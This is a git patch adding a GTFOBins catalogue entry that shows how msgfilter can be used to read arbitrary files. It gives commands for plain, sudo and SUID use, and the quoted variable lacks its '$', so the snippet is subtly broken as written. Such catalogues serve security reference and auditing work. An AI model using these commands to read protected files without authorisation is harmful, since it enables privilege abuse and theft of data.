From 8612fb0b86042a15830f003ea5734fb8d09fb3e8 Mon Sep 17 00:00:00 2001 From: Michalis Papadopoullos <2173624+xmpf@users.noreply.github.com> Date: Fri, 4 Jun 2021 10:23:53 +0300 Subject: [PATCH] Add msgfilter file-read --- _gtfobins/msgfilter.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/msgfilter.md diff --git a/_gtfobins/msgfilter.md b/_gtfobins/msgfilter.md new file mode 100644 index 0000000..4f37319 --- /dev/null +++ b/_gtfobins/msgfilter.md @@ -0,0 +1,16 @@ +--- +description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program. +functions: + file-read: + - code: | + LFILE=file_to_read + msgfilter -P -i "LFILE" /bin/cat + sudo: + - code: | + LFILE=file_to_read + sudo msgfilter -P -i "LFILE" /bin/cat + suid: + - code: | + LFILE=file_to_read + ./msgfilter -P -i "LFILE" /bin/cat +---